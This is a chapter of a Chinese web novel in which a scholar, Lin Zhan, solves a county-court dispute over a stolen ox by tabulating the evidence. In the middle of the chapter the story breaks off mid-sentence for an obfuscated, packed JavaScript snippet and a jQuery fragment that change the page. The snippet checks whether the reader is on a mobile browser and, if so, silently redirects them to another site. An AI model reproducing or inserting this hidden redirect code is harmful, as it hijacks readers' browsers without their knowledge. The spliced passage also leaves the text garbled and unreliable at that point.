83.一览表
作品:《科举之寒门弟子六元及第》 腊月二十,县衙封印在即,积压的琐事却更多了。王砚之匆匆找到林湛,眉头紧锁:“林兄,家父又遇上一桩麻烦官司,比上回那田界纠纷更缠夹。两户争一头牛的归属,闹了月余,乡里调解不成告到县衙。双方都有一堆说辞、证人、零碎证据,公说公有理,婆说婆有理。家父与几位书办连审了两日,头昏脑涨,仍觉一团乱麻。家父说……若林兄得空,可否再去旁观,或能以局外人之眼,看出些门道?”
林湛自然应允。铁柱听了,又要跟着去“长见识”。
这回的偏堂里,气氛比上次更焦灼。堂下跪着两户人家,一边是穿着半旧棉袍、面容愁苦的老汉,姓刘,身后跟着个抽抽噎噎的妇人;另一边是穿着绸面马褂、满脸精明相的中年人,姓吴,身后站着两个儿子,皆是一副不好惹的模样。堂上除了王书吏和记录书办,还有一位户房的老经承,三人面前案头堆着厚厚一叠新旧纸张——地契借据、乡约调解记录、证人供词、乃至几片疑似牛毛的脏污布片。
“刘老实,你再说一遍,你家那头黄牛是何时走失?有何特征?”王书吏揉着太阳穴,声音透着疲惫。
刘老汉磕头,带着哭腔:“回老爷,是十月初八,小人赶牛去后山放牧,一转眼就不见了。那是头三岁口的母黄牛,右耳尖有个小豁口,是小时候被树枝挂的,左前蹄有道白毛,像个月牙。小人寻了三天没寻见,后来听人说,吴扒皮……哦不,吴掌柜家,多了头黄牛,特征都对得上!可吴掌柜硬说是他自家买的!”
吴掌柜立刻嚷道:“胡说八道!我那牛是十月初十从河西牛马市上,花了十二两银子买的!有中人作保,有买卖文书!你那牛丢了,凭什么就赖到我头上?我还说你讹诈呢!”
王书吏示意记录书办:“把买卖文书和证人供词给他看。”
刘老汉不识字,他身后的妇人凑上去看了,急道:“老爷,这文书上的牛,特征写得含糊,就说‘黄母牛一头’,也没写耳朵有缺、蹄有白毛!那中人也是吴掌柜的远亲,说的话怎能作准?”
吴掌柜哼道:“买卖文书都这样写!难道还要把牛身上几根毛都数清楚?耳朵有缺,兴许是后来挂的!蹄上白毛,兴许是你记错了!”
接着传唤证人。刘老汉这边请了同村两个牧童,都说十月初八下午看见刘家牛在后山,后来不见了。吴掌柜这边请了牛马市的中人和两个牙人,都说十月初十确实见吴掌柜买牛,但具体牛的模样,隔了这么久,记不真切了。
又传了乡约和里正。乡约说调解时,双方各执一词,他曾提议让两头牛站在一起比对,但吴掌柜说牛已怀崽,怕惊着,不肯。里正则说,曾去两家牛棚看过,牛确实像,但也不敢断定。
堂上你一言我一语,吵吵嚷嚷。王书吏和两位书吏不断翻看面前的文书证词,试图理清脉络,却越发觉得混乱。记录书办笔下如飞,但记下的都是零碎片段,前后矛盾处比比皆是。
铁柱在一旁听得直打哈欠,小声嘀咕:“这比上次还乱!听得我脑仁疼!”
林湛一直安静坐着,目光在争吵的双方、堆满案头的文书、以及王书吏紧锁的眉头间移动。他忽然发现一个问题:所有的信息——双方诉求、证据、证人证言、疑点——都是零散地以文字段落形式记录,或混杂在口供中。没有分类,没有对比,没有清晰的逻辑链条。难怪王书吏觉得乱。
他心中一动,想起前世工作中常用的对比分析表。或许,可以试试用更直观的方式来梳理?
趁着一轮争吵暂歇,林湛起身,对王书吏拱手道:“王书吏,学生有一拙见,或可助理清此案头绪。”
王书吏正头疼,闻言抬头:“林秀才有何高见?”
“学生观此案,双方主张、证据、证人、疑点,皆混杂于口供笔录与各类文书中,查阅比对颇为不便。”林湛走到案前,指着一堆凌乱的纸张,“可否让学生试将关键信息抽提出来,分门别类,制一简表明晰之?譬如,可将‘争议焦点’、‘刘家主张与证据’、‘吴家主张与证据’、‘双方证人及证言要点’、‘现存疑点与矛盾’等项,分别列出,使之一目了然。如此,何方所言为实,何方存疑,证据链是否完整,矛盾何在,或可豁然开朗。”
王书吏和两位书办都是一愣。分类列表?这倒是新鲜。平日断案,多是凭经验在脑中梳理,或靠笔录反复翻阅,从未想过用这种方式。
“这……如何列表?”记录书办好奇道。
林湛取过一张空白大纸,又向书办借了尺子。他一边说,一边用尺子比着,在纸上划出横竖线,分出几个区域:“上首可写‘刘吴争牛案一览’。左侧第一栏,列‘争议事项’,其下分‘牛之归属’、‘走失/购买时间’、‘牛之特征’、‘买卖文书真伪’、‘证人可信度’等小项。”
他笔下不停,横线竖线交错,很快形成一个个规整的格子。“右侧分两大栏,一栏‘刘家’,一栏‘吴家’。每栏下对应左侧事项,填写各自主张、证据、证人言词。最下方另设‘疑点与待查’栏,罗列双方说法矛盾处、证据缺失处、需进一步核实事项。”
他边说边填。例如在“牛之特征”项下,刘家栏写“右耳尖豁口,左前蹄白毛(月牙形)”,吴家栏写“文书仅写‘黄母牛’,称特征或后生或刘家误记”。“证人”项下,刘家栏写“同村牧童甲、乙,证十月初八见牛在后山”,吴家栏写“牛马市中人(吴远亲)、牙人丙、丁,证十月初十见买卖,但牛貌记不清”。
铁柱凑过来看,瞪大眼睛:“哎?这画得跟棋盘似的!不,像账本!”
王砚之眼睛发亮:“妙啊!如此一排,双方说法哪里一致,哪里矛盾,证据强弱,立时可辨!”
王书吏也起身过来看。随着林湛将已知信息一一填入那些规整的格子,原本杂乱如麻的案情,果然渐渐呈现出清晰的轮廓。表格中,刘家关于牛特征的说法具体细致,且有多个无关第三方(牧童)佐证其十月初八牛还在;吴家关于牛特征的说法模糊,关键证据买卖文书描述简略,证人与其有亲故关系,且证言对牛貌记忆不清。而在“疑点”栏,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182191|196937||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
林湛列出了:“吴家何以在刘家牛丢两日后即买牛?买卖文书为何不载明明显特征?中人系吴家远亲,证言效力存疑。乡约提议比对牛,吴家何以借故推脱?”
看着这张逐渐填满的表格,王书吏脑中豁然开朗。他拍案道:“好一个‘一览表’!如此编排,是非曲直,几可跃然纸上!”
他重新坐回案后,心中已有计较。再问话时,便有了明确方向。
“吴有财,”王书吏盯着吴掌柜,“你十月初十买牛,距刘家十月初八丢牛,仅隔两日。河西牛马市离此地三十里,你为何偏在那时去买牛?又恰好买到一头与刘家丢失特征相近之牛?”
吴掌柜额头见汗:“这……凑巧,凑巧……”
“你的买卖文书,为何不写明牛耳有缺、蹄有白毛这等明显特征?牛马交易,为防纠纷,重要特征惯例都会注明。”
“当时……当时没留意……”
“你那中人是你堂侄,他作证时,可曾亲眼细看牛的特征?为何证言中对牛貌含糊其辞?”
吴掌柜支支吾吾,脸色越来越白。
王书吏不再问他,转向刘老汉:“刘老实,你方才说,牛左前蹄白毛呈月牙形,可能当堂画出?”
刘老汉连连点头,哆哆嗦嗦接过纸笔,画了个歪歪扭扭但特征明显的月牙形状。王书吏当即派衙役去吴家牛棚,按此特征查验。
不多时,衙役回报:“那牛右耳尖果然有旧豁口,左前蹄白毛形状,与刘老实所画一般无二!”
铁证如山。吴掌柜瘫软在地,终于招认:他早觊觎刘家那头怀崽的母牛,得知其走失后,立刻让堂侄在牛马市留意,很快寻到一头来路不明、特征相似的牛,低价买下,伪造了买卖文书,企图吞占。本以为刘老汉老实可欺,没想到闹到县衙,更没想到会被一张“怪表”逼出原形。
案子了结。刘老汉牵回自家牛,千恩万谢。吴掌柜被判退还牛只,赔偿刘家损失,另因欺诈伪造文书,罚银二十两,枷号三日。
退堂后,王书吏拿着那张墨迹未干的“一览表”,爱不释手,对林湛道:“林秀才此法,大妙!不仅此案,日后凡遇复杂纠纷,皆可仿此制作,使案情条分缕析,断案有据。老夫定要禀明知县大人,在县衙各房推广此‘列表析案法’!”
林湛谦道:“不过是读书时,见先贤有‘格物致知’‘分类明辨’之训,学生偶得拙思,胡乱试用罢了。能对王叔有所助益,便是幸事。”
王砚之则已在一旁,学着林湛的样子,在另一张纸上练习画格制表,口中念念有词:“‘分类明辨’……果然清晰得多!”
铁柱摸着脑袋,嘿嘿笑道:“湛哥儿,你这脑袋瓜里,怎么尽是些稀奇古怪又好用的点子?”
走出县衙,日头已偏西。腊月的寒风凛冽,吹得人脸颊生疼。街边屋檐下,已有人挂起了红灯笼,在暮色中透出暖融融的光。远处隐约传来孩童背诵《百家姓》的稚嫩嗓音,和着谁家准备年货、咚咚咚的剁馅声,汇成一片忙碌而充满期盼的年关交响。

